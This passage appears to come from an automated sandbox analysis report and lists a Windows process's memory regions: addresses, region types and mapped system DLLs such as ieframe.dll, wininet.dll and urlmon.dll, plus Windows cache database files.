1501 start_va = 0x300000 end_va = 0x300fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000300000" filename = "" Region: id = 1502 start_va = 0x300000 end_va = 0x300fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000300000" filename = "" Region: id = 1503 start_va = 0x300000 end_va = 0x300fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000300000" filename = "" Region: id = 1504 start_va = 0x300000 end_va = 0x300fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000300000" filename = "" Region: id = 1505 start_va = 0x300000 end_va = 0x300fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000300000" filename = "" Region: id = 1506 start_va = 0x380000 end_va = 0x3bffff entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 1507 start_va = 0x2240000 end_va = 0x233ffff entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 1508 start_va = 0x73a50000 end_va = 0x73b44fff entry_point = 0x73a50000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 1509 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 1510 start_va = 0x74090000 end_va = 0x740dbfff entry_point = 0x74090000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 1863 start_va = 0x260000 end_va = 0x260fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 1864 start_va = 0x72fd0000 end_va = 0x73a4ffff entry_point = 0x72fd0000 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\SysWOW64\\ieframe.dll" (normalized: "c:\\windows\\syswow64\\ieframe.dll") Region: id = 1865 start_va = 0x73e50000 end_va = 0x73e8bfff entry_point = 0x73e50000 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\SysWOW64\\oleacc.dll" (normalized: "c:\\windows\\syswow64\\oleacc.dll") Region: id = 1866 start_va = 0x753d0000 end_va = 0x753d4fff entry_point = 0x753d0000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 1867 start_va = 0x75a30000 end_va = 0x75c2afff entry_point = 0x75a30000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 1868 start_va = 0x300000 end_va = 0x300fff entry_point = 0x300000 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\SysWOW64\\oleaccrc.dll" (normalized: "c:\\windows\\syswow64\\oleaccrc.dll") Region: id = 1869 start_va = 0x350000 end_va = 0x351fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000350000" filename = "" Region: id = 1870 start_va = 0x75190000 end_va = 0x75284fff entry_point = 0x75190000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 1871 start_va = 0x76ff0000 end_va = 0x77125fff entry_point = 0x76ff0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 1872 start_va = 0x3c0000 end_va = 0x3fffff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 1873 start_va = 0x2340000 end_va = 0x243ffff entry_point = 0x0 region_type = private name = "private_0x0000000002340000" filename = "" Region: id = 1874 start_va = 0x74060000 end_va = 0x74080fff entry_point = 0x74060000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 1875 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 1876 start_va = 0x360000 end_va = 0x363fff entry_point = 0x360000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1877 start_va = 0x5c0000 end_va = 0x5dffff entry_point = 0x5c0000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000010.db" filename = "\\Users\\qj4SUKboE\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000010.db" (normalized: "c:\\users\\qj4sukboe\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000010.db") Region: id = 1878 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 1879 start_va = 0x5f0000 end_va = 0x61ffff entry_point = 0x5f0000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000d.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000d.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000d.db") Region: id = 1880 start_va = 0x830000 end_va = 0x833fff entry_point = 0x830000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1881 start_va = 0x2440000 end_va = 0x24a5fff entry_point = 0x2440000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 1882 start_va = 0x24b0000 end_va = 0x25affff entry_point = 0x0 region_type = private name = "private_0x00000000024b0000" filename = "" Region: id = 1883 start_va = 0x752e0000 end_va = 0x752f1fff entry_point = 0x752e0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 1884 start_va = 0x75680000 end_va = 0x7581cfff entry_point = 0x75680000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 1885 start_va = 0x76e70000 end_va = 0x76e96fff entry_point = 0x76e70000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 1886 start_va = 0x840000 end_va = 0x846fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000840000" filename = "" Region: id = 1887 start_va = 0x850000 end_va = 0x851fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000850000" filename = "" Region: id = 1888 start_va = 0x860000 end_va = 0x860fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000860000" filename = "" Region: id = 1889 start_va = 0x25b0000 end_va = 0x29a2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000025b0000" filename = "" Region: id = 1890 start_va = 0x29b0000 end_va = 0x29effff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 1891 start_va = 0x29f0000 end_va = 0x2aeffff entry_point = 0x0 region_type = private name = "private_0x00000000029f0000" filename = "" Region: id = 1892 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 1923 start_va = 0x2af0000 end_va = 0x2b2ffff entry_point = 0x0 region_type = private name = "private_0x0000000002af0000" filename = "" Region: id = 1924 start_va = 0x2b30000 end_va = 0x2c2ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b30000" filename = "" Region: id = 1925 start_va = 0x72550000 end_va = 0x72fcffff entry_point = 0x72550000 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\SysWOW64\\ieframe.dll" (normalized: "c:\\windows\\syswow64\\ieframe.dll") Region: id = 1926 start_va = 0x73e10000 end_va = 0x73e4bfff entry_point = 0x73e10000 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\SysWOW64\\oleacc.dll" (normalized: "c:\\windows\\syswow64\\oleacc.dll") Region: id = 1927 start_va = 0x7efa7000 end_va = 0x7efa9fff entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 1928 start_va = 0x380000 end_va = 0x380fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 1950 start_va = 0x260000 end_va = 0x260fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 1951 start_va = 0x2240000 end_va = 0x227ffff entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 1952 start_va = 0x2af0000 end_va = 0x2beffff entry_point = 0x0 region_type = private name = "private_0x0000000002af0000" filename = "" Region: id = 1953 start_va = 0x72fd0000 end_va = 0x73a4ffff entry_point = 0x72fd0000 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\SysWOW64\\ieframe.dll" (normalized: "c:\\windows\\syswow64\\ieframe.dll") Region: id = 1954 start_va = 0x73e50000 end_va = 0x73e8bfff entry_point = 0x73e50000 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\SysWOW64\\oleacc.dll" (normalized: "c:\\windows\\syswow64\\oleacc.dll") Region: id = 1955 start_va = 0x753d0000 end_va = 0x753d4fff entry_point = 0x753d0000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 1956 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 2001 start_va = 0x260000 end_va = 0x260fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2002 start_va = 0x2240000 end_va = 0x227ffff entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 2003 start_va = 0x2af0000 end_va = 0x2beffff entry_point = 0x0 region_type = private name = "private_0x0000000002af0000" filename = "" Region: id = 2004 start_va = 0x72550000 end_va = 0x72fcffff entry_point = 0x72550000 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\SysWOW64\\ieframe.dll" (normalized: "c:\\windows\\syswow64\\ieframe.dll") Region: id = 2005 start_va = 0x73e10000 end_va = 0x73e4bfff entry_point = 0x73e10000 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\SysWOW64\\oleacc.dll" (normalized: "c:\\windows\\syswow64\\oleacc.dll") Region: id = 2006 start_va = 0x753d0000 end_va = 0x753d4fff entry_point = 0x753d0000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 2007 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 2008 start_va = 0x260000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 2009 start_va = 0x300000 end_va = 0x308fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000300000" filename = "" Region: id = 2010 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2011 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2012 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2013 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2014 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2015 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2016 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2017 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2018 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2019 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2020 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2021 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2022 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2023 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2024 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2025 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2026 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2027 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2028 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2029 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2030 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2031 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2032 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2033 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2034 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2035 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2036 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2037 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2038 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2039 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2040 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2041 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2042 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2043 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2044 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2045 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2046 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2047 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2048 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2049 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2050 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2051 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2052 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2053 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2054 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2055 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2056 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2057 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2058 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2059 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2060 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2061 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2062 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2063 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2064 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2065 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2066 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2067 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2068 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2069 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2092 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2093 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2094 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2095 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2096 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2097 start_va = 0x260000 end_va = 0x268fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2098 start_va = 0x260000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 2099 start_va = 0x300000 end_va = 0x309fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000300000" filename = "" Region: id = 2100 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2101 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2102 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2103 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2104 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2105 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2106 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2107 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2108 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2109 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2110 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2111 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2112 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2113 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2114 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2115 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2116 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2117 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2118 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2119 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2120 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2121 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2122 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2123 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2124 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2125 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2126 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2127 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2128 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2129 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2130 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2131 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2132 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2133 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2134 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2135 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2136 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2137 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2138 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2139 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2140 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2141 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2142 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2143 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2144 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2145 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2146 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2147 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2148 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2149 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2150 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2151 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2152 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2153 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2154 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2155 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" 